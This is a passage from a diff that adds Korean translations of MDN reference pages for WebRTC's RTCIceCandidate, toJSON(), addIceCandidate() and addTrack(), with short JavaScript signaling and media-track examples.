+ <dt>{{domxref("RTCIceCandidate.port", "port")}} {{readonlyInline}}</dt>
+ <dd>candidate의 포트 넘버를 알려주는 정수 값 입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.priority", "priority")}} {{readonlyInline}}</dt>
+ <dd>candidate의 우선순위를 알려주는 long 정수 값 입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.protocol", "protocol")}} {{readonlyInline}}</dt>
+ <dd>candidate의 프로토콜이 <code>"tcp"</code>인지 <code>"udp"</code>인지 알려주는 문자열입니다. 이 문자열은 <code>RTCIceProtocol</code> enum 타입 중 하나 입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.relatedAddress", "relatedAddress")}} {{readonlyInline}}</dt>
+ <dd>candidate가 다른 candidate, 즉 호스트 candidate에서 가져와졌다면, <code>relatedAddress</code>는 호스트 candidate의 IP 주소를 포함하는 {{domxref("DOMString")}}입니다. 호스트 candidate에서 이 값은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.relatedPort", "relatedPort")}} {{readonlyInline}}</dt>
+ <dd>candidate가 relay 혹은 reflexive candidate로 부터 가져와진 경우, <code>relatedPort</code>는 해당하는 호스트 candidate의 포트 넘버를 가르킵니다. 마찬가지로, 호스트 candidate에서 이 값은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} {{readonlyInline}}</dt>
+ <dd>candidate의 미디어 스트림 식별 태그를 정의하는 {{domxref("DOMString")}}입니다. 여기서 식별 태그는 candidate와 연관이 있는 컴포넌트안의 미디어 스트림을 유일하게 식별합니다. candidate와 관련이 있는 미디어 스트림이 존재하지 않으면, 이 값은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}} {{readonlyInline}}</dt>
+ <dd>이 값이 <code>null</code>이 아니라면, <code>sdpMLineIndex</code>는 candidate와 연관 된 {{Glossary("SDP")}}의 미디어 설명에 대한, 0을 기준으로 하는 색인 번호를 알려줍니다 (<a href="https://tools.ietf.org/html/rfc4566">RFC 4566</a>에 정의되어 있습니다.). </dd>
+ <dt>{{domxref("RTCIceCandidate.tcpType", "tcpType")}} {{readonlyInline}}</dt>
+ <dd><code>protocol</code>이 <code>"tcp"</code>라면,<code>tcpType</code>은 TCP candidate의 타입을 알려줍니다. 이외에는 <code>tcpType</code>은 <code>null </code>입니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.type", "type")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("RTCIceCandidateType")}} enum 타입에 존재하는 문자열에 속하는 candidate의 타입을 알려주는 {{domxref("DOMString")}}입니다. </dd>
+ <dt>{{domxref("RTCIceCandidate.usernameFragment", "usernameFragment")}} {{ReadOnlyInline}}</dt>
+ <dd>ICE가 무작위로 생성된 비밀번호 (<code>"ice-pwd"</code>) 와 함께 메세지의 무결성을 확인하기 위해 사용하는 무작위로 생성된 유저 이름 조각 (<code>"ice-ufrag"</code>)을 가지고 있는 {{domxref("DOMString")}}입니다. 이 문자열을 사용해서 ICE 생성의 버전을 확인 할 수 있습니다. ICE가 재시작하더라도, 같은 버전의 ICE 프로세스는 동일한 <code>usernameFragment</code>를 가지게 됩니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceCandidate.toJSON", "toJSON()")}}</dt>
+ <dd><code>toJSON()</code>은 <code>RTCIceCandidate</code>의 현재 저장된 설정을 담은 {{Glossary("JSON")}} 표현식을 {{domxref("RTCIceCandidateInit")}} 객체의 형태로 변환시킨 {{domxref("DOMString")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>예시를 보려면, 전체 과정을 설명해주는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>문서를 확인하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#rtcicecandidate-interface', 'RTCIceCandidate')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCIceCandidate")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcicecandidate/tojson/index.html b/files/ko/web/api/rtcicecandidate/tojson/index.html
new file mode 100644
index 0000000000..5b222fc286
--- /dev/null
+++ b/files/ko/web/api/rtcicecandidate/tojson/index.html
@@ -0,0 +1,49 @@
+---
+title: RTCIceCandidate. toJSON()
+slug: Web/API/RTCIceCandidate/toJSON
+translation_of: Web/API/RTCIceCandidate/toJSON
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCIceCandidate")}} 메소드인 <code><strong>toJSON()</strong></code>은 JSON 형식으로 호출된 RTCIceCandidate를 {{domxref("RTCIceCandidateInit")}} 객체 형식으로 변환합니다. .</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>json</em> = RTC<em>IceCandidate</em>.toJSON();</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCIceCandidateInit")}} 딕셔너리에 상응하는 객체로, <code>RTCIceCandidate</code> 객체의 해당하는 값으로 설정됩니다.</p>
+
+<p>반환된 객체에 대한 문자열화된 버전의 객체는 {{jsxref("JSON.stringify", "stringify()")}}를 호출해서 가져올 수 있습니다. 아래의 {{anch("Example", "예시")}}를 참조하십시오.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 샘플 코드는 <code>candidate</code> 변수의 <code>RTCIceCandidate</code>를 나타내는 JSON 문자열을 가져옵니다.</p>
+
+<pre class="brush: js">var jsonString = candidate.toJSON().stringify();</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-tojson', 'RTCIceCandidate.toJSON()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCIceCandidate.toJSON")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html
new file mode 100644
index 0000000000..9062abc861
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html
@@ -0,0 +1,148 @@
+---
+title: RTCPeerConnection.addIceCandidate()
+slug: Web/API/RTCPeerConnection/addIceCandidate
+translation_of: Web/API/RTCPeerConnection/addIceCandidate
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}}을 사용하는 웹이나 앱이 신규 ICE candidate를 signaling 채널을 통해 원격 유저로부터 수신하게되면, <code><strong>RTCPeerConnection.addIceCandidate()</strong></code>를 호출해서 브라우저의 {{Glossary("ICE")}} 에이전트에게 새로 수신한 candidate를 전달합니다.</span> 이 메소드는 <code>RTCPeerConnection</code>의 원격 설명 (remote description)에 연결의 원격쪽 상태를 설명해주는 신규 원격 candidate를 추가합니다. </p>
+
+<p><code>addIceCandidate()</code> 호출시 <code>candidate</code> 매개변수가 존재하지 않거나 값이 <code>null</code>인 경우에, 추가된 ICE candidate는 "candidate 종료"를 알려줍니다. 지정한 객체의{{domxref("RTCIceCandidate.candidate", "candidate")}} 값이 존재하지 않거나, 빈 문자열 (<code>""</code>)인 경우에도 원격 candidate들이 모두 전달되었음을 알려줍니다. </p>
+
+<p>"candidate 종료" 알림은 a-line 값의 <code>end-of-candidates</code>를 가진 candidate와 함께 원격 유저에 송신됩니다.</p>
+
+<p>네고시에이션 중에 앱이 위의 방법처럼 ICE 에이전트에 전달할 다수의 candidate를 수신 받을 수 있고, 이는 가능한 연결 방법들의 리스트를 만들 수 있도록 도와줍니다. 자세한 내용은 <a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a>와 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>를 참고하십시오.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>aPromise </em>= <em>pc</em>.addIceCandidate(<em>candidate</em>);
+
+addIceCandidate(<em>candidate</em>, <em>successCallback</em>, <em>failureCallback</em>); {{deprecated_inline}}
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>candidate</code> {{optional_inline}}</dt>
+ <dd>
+ <p>{{domxref("RTCIceCandidateInit")}} 딕셔너리 혹은 {{domxref("RTCIceCandidate")}} 객체에 해당하는 객체입니다. 이 객체의 내용은 signaling 채널을 통해 수신 받은 메세지로 구성되어야합니다. 메세지는 이미 로컬 ICE 에이전트에 전달 될 준비가 된 새로 수신받은 ICE candidate를 설명합니다.</p>
+
+ <p><code>candidate </code>객체가 지정되어있지 않거나, <code>null</code>이라면, "candidate 종료" 신호가 <code>end-of-candidates</code> a-line을 사용해서 원격 유저에게 전달됩니다. a-line의 형식은 아래와 같습니다:</p>
+
+ <pre>a=end-of-candidates</pre>
+ </dd>
+</dl>
+
+<h3 id="더_이상_사용되지_않는_변수_(Deprecated)">더 이상 사용되지 않는 변수 (Deprecated)</h3>
+
+<p>이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, 사용하지 않는 것을 권장합니다. 이미 사용 중이라면, {{jsxref("Promise")}} 버전인 <code>addIceCandidate()</code>를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 <code>addIceCandidate()</code>의 특정 변수에 대해 아래에서 설명합니다.</p>
+
+<dl>
+ <dt><code>successCallback</code> {{deprecated_inline}}</dt>
+ <dd>ICE candidate가 성공적으로 추가되었을 때에 호출되는 함수입니다. 이 함수는 입력 변수가 없으며, 아무런 값도 반환하지 않도록 되어있습니다. </dd>
+ <dt><code>failureCallback</code> {{deprecated_inline}}</dt>
+ <dd>ICE candidate 추가 시도가 실패하면 호출되는 함수입니다. 실패에 대한 이유를 설명하는 객체인 {{domxref("DOMException")}}을 입력 변수로 받습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Promise")}}는 candidate가 ICE 에이전트에 의해 원격 유저의 설명 (description)에 성공적으로 추가되면 fulfilled 됩니다. 프로미스는 입력 변수가 없습니다.</p>
+
+<h3 id="예외_처리">예외 처리</h3>
+
+<p>ICE candidate 추가 시도 중 에러가 발생하면, 이 메소드에서 반환되는 {{jsxref("Promise")}}는 거절됩니다. 그리고 거절 핸들러로 전달되는 지정된 {{domxref("DOMException")}} 객체안에 존재하는 {{domxref("DOMException.name", "name")}} 속성으로 아래의 에러 중 하나를 반환하게 됩니다.</p>
+
+<dl>
+ <dt><code>TypeError</code></dt>
+ <dd>명시한 candidate의 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 및{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}가 모두 <code>null</code> 입니다.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>현재 <code>RTCPeerConnection</code>은 어떠한 원격 유저와도 연결이 되어있지 않습니다. {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} 값이 <code>null</code>입니다.</dd>
+ <dt><code>OperationError</code></dt>
+ <dd>이 에러는 여러가지 이유 때문에 발생합니다:
+ <ul>
+ <li>지정된 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 값이 non-<code>null</code>이고, {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}}안에 존재하는 어떠한 미디어 description의 미디어 ID와도 일치하지 않음</li>
+ <li>지정된 {{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}의 값이 원격 설명 (description)에 포함된 미디어의 숫자와 같거나 큼</li>
+ <li>지정된 {{domxref("RTCIceCandidate.usernameFragment", "ufrag")}}가 어떠한 원격 설명 (description) 안의 <code>ufrag</code> 필드와 일치하지 않음</li>
+ <li>{{domxref("RTCIceCandidate", "candidate")}} 문자열에 존재하는 하나 혹은 여러개의 값들이 올바르지 않거나, 파싱 될 수 없음</li>
+ <li>어떠한 이유에서던 candidate를 추가하려는 시도가 실패<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 코드는 임의의 signaling 채널을 통해 어떻게 ICE candidate를 알리는지를 보여줍니다.</p>
+
+<pre class="brush: js">// 본 예제는 다른 유저가 아래와 같은 signaling 채널을 사용한다고 가정합니다:
+//
+// pc.onicecandidate = event =&gt; {
+// if (event.candidate) {
+// signalingChannel.send(JSON.stringify({ice: event.candidate})); // "ice" is arbitrary
+// } else {
+// // All ICE candidates have been sent
+// }
+// }
+
+signalingChannel.onmessage = receivedString =&gt; {
+ const message = JSON.parse(receivedString);
+ if (message.ice) {
+ // A typical value of ice here might look something like this:
+ //
+ // {candidate: "candidate:0 1 UDP 2122154243 192.168.1.9 53421 typ host", sdpMid: "0", ...}
+ //
+ // Pass the whole thing to addIceCandidate:
+
+ pc.addIceCandidate(message.ice).catch(e =&gt; {
+ console.log("Failure during addIceCandidate(): " + e.name);
+ });
+ } else {
+ // handle other things you might be signaling, like sdp
+ }
+}</pre>
+
+<p>원격 유저에 의해 이러한 방식으로 신호를 전달한 마지막 candiate는 "candidate 종료"를 나타내는 특수한 candidate가 됩니다. "candidate 종료"를 수동으로 설정하려면 다음과 같이 하면 됩니다:</p>
+
+<pre class="brush: js">pc.addIceCandidate({candidate:''});
+</pre>
+
+<p>하지만, 대부분의 경우 {{domxref("RTCPeerConnection")}}가 적절한 이벤트를 보내서 처리해주기 때문에 이를 수동으로 확인해야 할 필요는 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-addIceCandidate-Promise-void--RTCIceCandidateInit-RTCIceCandidate-candidate', 'RTCPeerConnection.addIceCandidate()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("WebRTC 1.0", "#widl-RTCPeerConnection-addIceCandidate-void-RTCIceCandidateInit-RTCIceCandidate-candidate-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback", "RTCPeerConnection.addIceCandidate()")}} {{deprecated_inline}}</td>
+ <td>{{Spec2("WebRTC 1.0")}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.addIceCandidate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">WebRTC architecture overview</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/addtrack/index.html b/files/ko/web/api/rtcpeerconnection/addtrack/index.html
new file mode 100644
index 0000000000..50a493a188
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/addtrack/index.html
@@ -0,0 +1,208 @@
+---
+title: RTCPeerConnection.addTrack()
+slug: Web/API/RTCPeerConnection/addTrack
+translation_of: Web/API/RTCPeerConnection/addTrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}}의 메소드인 <strong><code>addTrack()</code></strong>은 다른 유저에게 전송될 트랙들의 묶음에 신규 미디어 트랙을 추가합니다.</span></p>
+
+<div class="note">
+<p><strong>참조:</strong> 연결 인터페이스에 트랙을 추가하게되면, {{event("negotiationneeded")}} 이벤트를 발생시켜 renegotiation을 하게 만듭니다. 자세한 사항은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Starting negotiation")}} 를 참조하십시오.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>rtpSender</em> = RTC<em>PeerConnection</em>.addTrack(<em>track</em>, <em>stream...</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>track</code></dt>
+ <dd>피어 연결에 추가될 미디어 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체입니다.</dd>
+ <dt><code>stream...</code> {{optional_inline}}</dt>
+ <dd>트랙이 추가 되어야하는 하나 혹은 여러개의 로컬 {{domxref("MediaStream")}} 객체입니다.</dd>
+</dl>
+
+<p>지정된 <code>track</code> 는 꼭 지정된 <code>stream</code>s의 일부가 아니여도 됩니다. <code>stream</code>s은 단지 연결을 받는 쪽에서 트랙을 그룹으로 묶고 동기화하는 방법입니다. 연결의 로컬 쪽에 존재하는 동일한 stream에 추가된 트랙들은 원격 쪽에서 같은 stream에 존재하게됩니다. </p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCRtpSender")}} 객체는 미디어 데이터를 전송하기위해 사용됩니다. </p>
+
+<div class="note">
+<p><strong>참조:</strong> 모든 RTCRtpSender는 {{domxref("RTCRtpTransceiver")}}를 구성하기 위해서 {{domxref("RTCRtpReceiver")}}와 함께 짝을 이룹니다.  관련이 있는 리시버는 원격 유저가 리시버에 하나 혹은 여러개의 스트림을 추가하지 않는 이상 mute 상태입니다. mute 상태에서는 패킷을 전달 할 수 없습니다. </p>
+</div>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd>지정한 트랙 (혹은 모든 스트림)이 이미 {{domxref("RTCPeerConnection")}}의 일부임을 알려줍니다.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("RTCPeerConnection")}}가 이미 종료되었음을 알려줍니다.</dd>
+</dl>
+
+<h2 id="사용법">사용법</h2>
+
+<h3 id="여러개의_스트림에_트랙_추가하기">여러개의 스트림에 트랙 추가하기</h3>
+
+<p><code>addTrack()</code> 메소드는 <code>track</code>과 <code>streams</code>을 매개변수로 받습니다. <code>track</code> 매개변수를 정의한 다음에, 하나 혹은 여러개의 {{domxref("MediaStream")}} 객체를 지정해서 트랙을 어디에 추가 할지 지정이 가능합니다. 이때, 스트림이 아니라 트랙만 다른 유저에게 전달됩니다. 스트림은 각 유저별로 특정되어있기 때문에, 하나 혹은 여러개의 스트림을 지정한다는 것은 트랙을 받는 유저가 연결의 다른 쪽에 해당하는 스트림을 자동으로 생성할 것이라는 뜻입니다. 그리고나서 받은 트랙을 자동으로 해당 스트림에 추가하게 됩니다. </p>
+
+<h4 id="스트림이_없는_트랙">스트림이 없는 트랙</h4>
+
+<p>스트림을 명시하지 않으면, 해당 트랙은 <strong>streamless </strong>상태입니다. 트랙을 어느 스트림에 추가 할지는 원격유저가 결정하지만, 이대로 사용해도 문제는 없습니다.  <strong>streamless</strong> 트랙은 <code>addTrack()</code>을 가장 손쉽게 사용하는 방법으로, 하나의 스트림만 필요한 아주 간단한 어플케이션을 만드는데 사용됩니다. 예를 들자면,오디오와 비디오 트랙이 존재하는 단일 스트림을 원격 유저와 공유하고 싶은 경우, 어떤 스트림에 무슨 트랙이 있는지 관리 할 필요 없이 트랜시버 (transceiver)가 처리하도록 맡길 수 있습니다. </p>
+
+<p>아래 예시는 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}를 사용해서 유저의 카메라와 마이크에서 스트림을 가져오는 함수입니다. 그리고 각각의 트랙에 대한 스트림을 지정하지 않고, 스트림에서 피어 연결로 각 트랙을 추가합니다: </p>
+
+<pre class="brush: js">// 비동기 함수 정의
+async openCall(pc) {
+ // getUserMedia는 비동기적으로 처리됨
+ const gumStream = await navigator.mediaDevices.getUserMedia(
+ {video: true, audio: true});
+ for (const track of gumStream.getTracks()) {
+  // 스트림을 따로 지정하지 않고, 트랙을 추가
+ pc.addTrack(track);
+ }
+}</pre>
+
+<p>위 함수의 결과로 트랙 묶음이 스트림 없이 원격 유저에게 전달됩니다. 모든 트랙들이 동일한 스트림에 추가된다 하더라도, 원격 유저의 {{event("track")}}이벤트 핸들러가 각 트랙을 어느 스트림에 추가 할지를 결정합니다. {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 핸들러는 아래와 같이 작성 될 수 있습니다:</p>
+
+<pre class="brush: js">let inboundStream = null;
+
+pc.ontrack = ev =&gt; {
+ if (ev.streams &amp;&amp; ev.streams[0]) {
+ videoElem.srcObject = ev.streams[0];
+ } else {
+ if (!inboundStream) {
+ inboundStream = new MediaStream();
+ videoElem.srcObject = inboundStream;
+ }
+ inboundStream.addTrack(ev.track);
+ }
+}</pre>
+
+<p>여기서 <code>track</code> 이벤트 핸들러는 스트림을 명시한 경우, 이 이벤트에서 명시한 첫 번째 스트림에 트랙을 추가합니다. 그렇지 않은 경우에는 <code>ontrack</code>이 처음 호출되는 순간에 신규 스트림이 생성되고 비디오 엘리먼트에 부착된 다음에서야 트랙이 신규 스트림에 추가됩니다. 이때부터 신규 랙이 해당 스트림에 추가됩니다.</p>
+
+<p>또한, 각각의 트랙을 받을 때 마다, 신규 스트림을 만들 수 있습니다:</p>
+
+<pre class="brush: js">pc.ontrack = ev =&gt; {
+ if (ev.streams &amp;&amp; ev.streams[0]) {
+ videoElem.srcObject = ev.streams[0];
+ } else {
+ let inboundStream = new MediaStream(track);
+ videoElem.srcObject = inboundStream;
+ }
+}</pre>
+
+<h4 id="특정_스트림에_트랙_연동하기">특정 스트림에 트랙 연동하기</h4>
+
+<p>스트림을 명시하고 {{domxref("RTCPeerConnection")}}가 스트림을 만들 수 있도록 허용하면, WebRTC 인프라에 의해 스트림의 트랙들이 자동으로 연동됩니다. 이는 트랜시버의 {{domxref("RTCRtpTransceiver.direction", "direction")}}를 변경하거나, {{domxref("RTCPeerConnection.removeTrack", "removeTrack()")}}를 사용해서 트랙을 멈추는 것도 포함합니다.</p>
+
+<p>예를 들어, 아래의 함수는 어플리케이션이 {{domxref("RTCPeerConnection")}}를 통해 미디어 장치의 카메라 및 마이크 입력을 원격 유저에게 스트리밍을 시작하도록 사용 될 수 있습니다:</p>
+
+<pre class="brush: js">async openCall(pc) {
+ const gumStream = await navigator.mediaDevices.getUserMedia(
+ {video: true, audio: true});
+ for (const track of gumStream.getTracks()) {
+ pc.addTrack(track, gumStream);
+ }
+}</pre>
+
+<p>아래와 같이, 원격 유저는 {{event("track")}} 이벤트 핸들러를 사용 할 수 있습니다:</p>
+
+<pre class="brush: js">pc.ontrack = ({streams: [stream]} =&gt; videoElem.srcObject = stream;</pre>
+
+<p>위의 코든 연결 인터페이스에 이미 추가 되었던 트랙을 가지고 있는 현재 스트림에 비디오 엘리먼트 설정합니다.</p>
+
+<h3 id="재사용되는_senders">재사용되는 senders</h3>
+
+<p>이 메소드는 신규 <code>RTCRtpSender</code> 를 반환하거나, 아직 데이터를 송신하지 않은 이미 존재하던 호환 가능한 sender를 특정 조건아래 반환합니다. 호환성 및 재사용성이 있는 <code>RTCRtpSender</code> 인스턴스는 아래의 조건들을 만족해야합니다:</p>
+
+<ul>
+ <li>sender와 이미 연동된 트랙이 없어야합니다.</li>
+ <li>sender와 연동된 {{domxref("RTCRtpTransceiver")}}가 {{domxref("MediaStreamTrack")}}를 명시하는 {{domxref("RTCRtpReceiver.track", "track")}} 속성을 가지고 있습니다. 여기서 {{domxref("MediaStreamTrack")}}의 {{domxref("MediaStreamTrack.kind", "kind")}}는 <code>RTCPeerConnection.addTrack()</code>의 호출에서 발생하는 <code>track</code> 매개변수의 <code>kind</code>와 같습니다. 이 방법으로 트랜시버가 오디오랑 비디오를 동시에 처리하지 않고, 각각 처리하도록 보장 할 수 있습니다. </li>
+ <li><code>RTCRtpTransceiver</code>의 {{domxref("RTCRtpTransceiver.stopped", "stopped")}} 속성이 <code>false</code> 입니다.</li>
+ <li><code>RTCRtpSender</code>가 데이터를 한 번도 보낸적이 없는 것으로 간주됩니다. 만약 트랜시버의 {{domxref("RTCRtpTransceiver.currentDirection", "currentDirection")}}가 한 번이라도 <code>"sendrecv"</code> 혹은 <code>"sendonly"</code>였다면, sender는 재사용이 불가능합니다.</li>
+</ul>
+
+<p>위의 조건들을 모두 만족하게되면, sender가 재사용되어 이미 존재하던 <code>RTCRtpSender</code> 및 <code>RTCRtpTransceiver</code> 에 아래와 같은 변경사항이 적용됩니다: </p>
+
+<ul>
+ <li><code>RTCRtpSender</code>의 {{domxref("RTCRtpSender.track", "track")}}가 지정된 트랙으로 설정됩니다.</li>
+ <li>이 메소드의 <code>stream...</code>에 전달된 스트림 리스트에 sender에 부착되어있던 스트림들이 설정됩니다.</li>
+ <li>부착된 {{domxref("RTCRtpTransceiver")}}의 <code>currentDirection</code>이 업데이트된 전송 정보를 포함합니다. 현재 값이 <code>"recvonly"</code>였다면, <code>"sendrecv"</code>로 변하게되고, 현재 값이 <code>"inactive"</code>면, <code>"sendonly"</code>로 변하게됩니다. </li>
+</ul>
+
+<h3 id="신규_senders">신규 senders</h3>
+
+<p>재사용가능한 sender가 없으면, 신규 sender가 생성됩니다. 신규로 생성되면, 꼭 있어야하는 관련된 객체들도 생성됩니다. 이 과정에서 다음과 같은 변화가 발생합니다:</p>
+
+<ul>
+ <li>신규 <code>RTCRtpSender</code>가 지정된 <code>track</code> 및 <code>stream</code>(s)과 함께 만들어집니다.</li>
+ <li>신규{{domxref("RTCRtpReceiver")}}가 {{domxref("RTCRtpReceiver.track", "track")}} 속성으로 {{domxref("MediaStreamTrack")}} 가지도록 함께 만들어집니다. 이때, 트랙은 <code>addTrack()</code> 호출에서 매개변수로 지정된 트랙이 아닙니다. 이 트랙의 {{domxref("MediaStreamTrack.kind", "kind")}}는 입력 매개변수로 제공된 트랙의 <code>kind</code>와 일치하도록 설정됩니다.</li>
+ <li>신규 {{domxref("RTCRtpTransceiver")}}가 생성되고, 신규 sender 및 receiver에 부착됩니다.</li>
+ <li>신규 transceiver의 {{domxref("RTCRtpTransceiver.direction", "direction")}}는 <code>"sendrecv"</code>로 설정됩니다.</li>
+ <li>신규 transceiver는 <code>RTCPeerConnection</code>의 transceiver 세트에 추가됩니다.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 코드는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서에서 가져온 코드입니다. 이 코드는 <code>handleVideoOfferMsg()</code>메소드에서 제공되는 것으로, offer 메세지가 원격 유저에서 수신되면 호출됩니다.</p>
+
+<pre class="brush: js">var mediaConstraints = {
+  audio: true,            // We want an audio track
+  video: true             // ...and we want a video track
+};
+
+var desc = new RTCSessionDescription(sdp);
+
+pc.setRemoteDescription(desc).then(function () {
+ return navigator.mediaDevices.getUserMedia(mediaConstraints);
+})
+.then(function(stream) {
+ previewElement.srcObject = stream;
+
+ stream.getTracks().forEach(track =&gt; pc.addTrack(track, stream));
+})</pre>
+
+<p>위의 코드는 SDP를 원격 유저로부터 수신 받아서 신규 {{domxref("RTCSessionDescription")}}를 만들고 {{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}}로 전달합니다. <code>pc.setRemoteDescription(desc)</code>의 실행이 성공하게되면, {{domxref("MediaDevices.getUserMedia()")}}를 사용해서 로컬 유저의 웹캠과 마이크에 대한접근 권한을 얻습니다. 앞의 과정이 성공하게되면, 스트림은 {{HTMLElement("video")}} 엘리먼트를 위한 소스로 지정됩니다. 이 스트림은 <code>previewElement</code>변수를 통해 참조가 가능해집니다.</p>
+
+<p>마지막으로 피어 연결을 통헤 caller에게 로컬 비디오 전달을 시작합니다. 이 과정은 {{domxref("MediaStream.getTracks()")}}에 의해 반환된 리스트를 iterate하고, 이들을 구성하는 <code>stream</code>과 함께 <code>addTrack()</code>에 전달되어 스트림에 각각의 트랙들을 추가합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-addtrack', 'RTCPeerConnection.addTrack()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.addTrack")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
